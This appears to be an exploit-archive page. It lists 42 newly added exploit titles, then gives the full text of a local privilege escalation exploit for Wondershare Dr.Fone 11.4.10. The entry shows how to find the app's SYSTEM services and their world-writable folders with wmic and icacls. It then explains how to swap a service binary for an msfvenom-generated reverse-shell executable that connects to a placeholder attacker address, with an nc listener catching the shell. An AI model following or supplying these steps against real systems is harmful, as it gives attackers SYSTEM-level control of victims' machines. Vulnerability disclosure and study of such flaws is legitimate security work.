be24992411
42 changes to exploits/shellcodes UDisk Monitor Z5 Phone - 'MonServiceUDisk.exe' Unquoted Service Path TCQ - ITeCProteccioAppServer.exe - Unquoted Service Path Wondershare Dr.Fone 11.4.10 - Insecure File Permissions ExifTool 12.23 - Arbitrary Code Execution Wondershare Dr.Fone 12.0.7 - Privilege Escalation (ElevationService) Wondershare Dr.Fone 12.0.7 - Privilege Escalation (InstallAssistService) Prime95 Version 30.7 build 9 - Remote Code Execution (RCE) Akka HTTP 10.1.14 - Denial of Service USR IOT 4G LTE Industrial Cellular VPN Router 1.0.36 - Remote Root Backdoor Bookeen Notea - Directory Traversal SAP BusinessObjects Intelligence 4.3 - XML External Entity (XXE) ManageEngine ADSelfService Plus Build 6118 - NTLMv2 Hash Exposure DLINK DIR850 - Insecure Access Control DLINK DIR850 - Open Redirect Apache CouchDB 3.2.1 - Remote Code Execution (RCE) Tenda HG6 v3.3.0 - Remote Command Injection Google Chrome 78.0.3904.70 - Remote Code Execution PyScript - Read Remote Python Source Code DLINK DAP-1620 A1 v1.01 - Directory Traversal Ruijie Reyee Mesh Router - Remote Code Execution (RCE) (Authenticated) ImpressCMS v1.4.4 - Unrestricted File Upload Microfinance Management System 1.0 - 'customer_number' SQLi WebTareas 2.4 - Blind SQLi (Authenticated) WordPress Plugin Advanced Uploader 4.2 - Arbitrary File Upload (Authenticated) Magento eCommerce CE v2.3.5-p2 - Blind SQLi Bitrix24 - Remote Code Execution (RCE) (Authenticated) CSZ CMS 1.3.0 - 'Multiple' Blind SQLi Cyclos 4.14.7 - DOM Based Cross-Site Scripting (XSS) Cyclos 4.14.7 - 'groupId' DOM Based Cross-Site Scripting (XSS) e107 CMS v3.2.1 - Multiple Vulnerabilities Anuko Time Tracker - SQLi (Authenticated) TLR-2005KSH - Arbitrary File Upload Explore CMS 1.0 - SQL Injection Navigate CMS 2.9.4 - Server-Side Request Forgery (SSRF) (Authenticated) PHProjekt PhpSimplyGest v1.3. - Stored Cross-Site Scripting (XSS) Beehive Forum - Account Takeover MyBB 1.8.29 - MyBB 1.8.29 - Remote Code Execution (RCE) (Authenticated) WordPress Plugin Blue Admin 21.06.01 - Cross-Site Request Forgery (CSRF) Joomla Plugin SexyPolling 2.1.7 - SQLi WordPress Plugin stafflist 3.1.2 - SQLi (Authenticated)
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2.6 KiB
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49 lines
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2.6 KiB
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# Exploit Title: Wondershare Dr.Fone 11.4.10 - Insecure File Permissions
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# Date: 04/25/2022
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# Exploit Author: AkuCyberSec (https://github.com/AkuCyberSec)
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# Vendor Homepage: https://drfone.wondershare.com/
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# Software Link: https://download.wondershare.com/drfone_full3360.exe
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# Version: 11.4.10
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# Tested on: Windows 10 64-bit
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# Note: The application folder "Wondershare Dr.Fone" may be different (e.g it will be "drfone" if we download the installer from the italian website)
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# Description:
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The application "Wondershare Dr. Fone" comes with 3 services:
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1. DFWSIDService
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2. ElevationService
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3. Wondershare InstallAssist
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All the folders that contain the binaries for the services have weak permissions.
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These weak permissions allow any authenticated user to get SYSTEM privileges.
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First, we need to check if services are running using the following command:
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wmic service get name,displayname,pathname,startmode,startname,state | findstr /I wondershare
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Wondershare WSID help DFWSIDService C:\Program Files (x86)\Wondershare\Wondershare Dr.Fone\WsidService.exe Auto LocalSystem Running
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Wondershare Driver Install Service help ElevationService C:\Program Files (x86)\Wondershare\Wondershare Dr.Fone\Addins\SocialApps\ElevationService.exe Auto LocalSystem Running
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Wondershare Install Assist Service Wondershare InstallAssist C:\ProgramData\Wondershare\Service\InstallAssistService.exe Auto LocalSystem Running
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Now we need to check if we have enough privileges to replace the binaries:
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icacls "C:\Program Files (x86)\Wondershare\Wondershare Dr.Fone"
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Everyone:(OI)(CI)(F) <= the first row tells us that Everyone has Full Access (F) on files (OI = Object Inherit) and folders (CI = Container Inherit)
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...
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icacls "C:\Program Files (x86)\Wondershare\Wondershare Dr.Fone\Addins\SocialApps"
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Everyone:(I)(OI)(CI)(F) <= same here
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...
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icacls "C:\ProgramData\Wondershare\Service"
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Everyone:(I)(OI)(CI)(F) <= and here
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...
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# Proof of Concept:
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1. Create an exe file with the name of the binary we want to replace (e.g. WsidService.exe if we want to exploit the service "Wondershare WSID help")
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2. Put it in the folder (e.g. C:\Program Files (x86)\Wondershare\Wondershare Dr.Fone\)
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3. After replacing the binary, wait the next reboot (unless the service can be restarted manually)
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As a proof of concept we can generate a simple reverse shell using msfvenom, and use netcat as the listener:
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simple payload: msfvenom --payload windows/shell_reverse_tcp LHOST=<YOUR_IP_ADDRESS> LPORT=<YOUR_PORT> -f exe > WsidService.exe
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listener: nc -nlvp <YOUR_PORT> |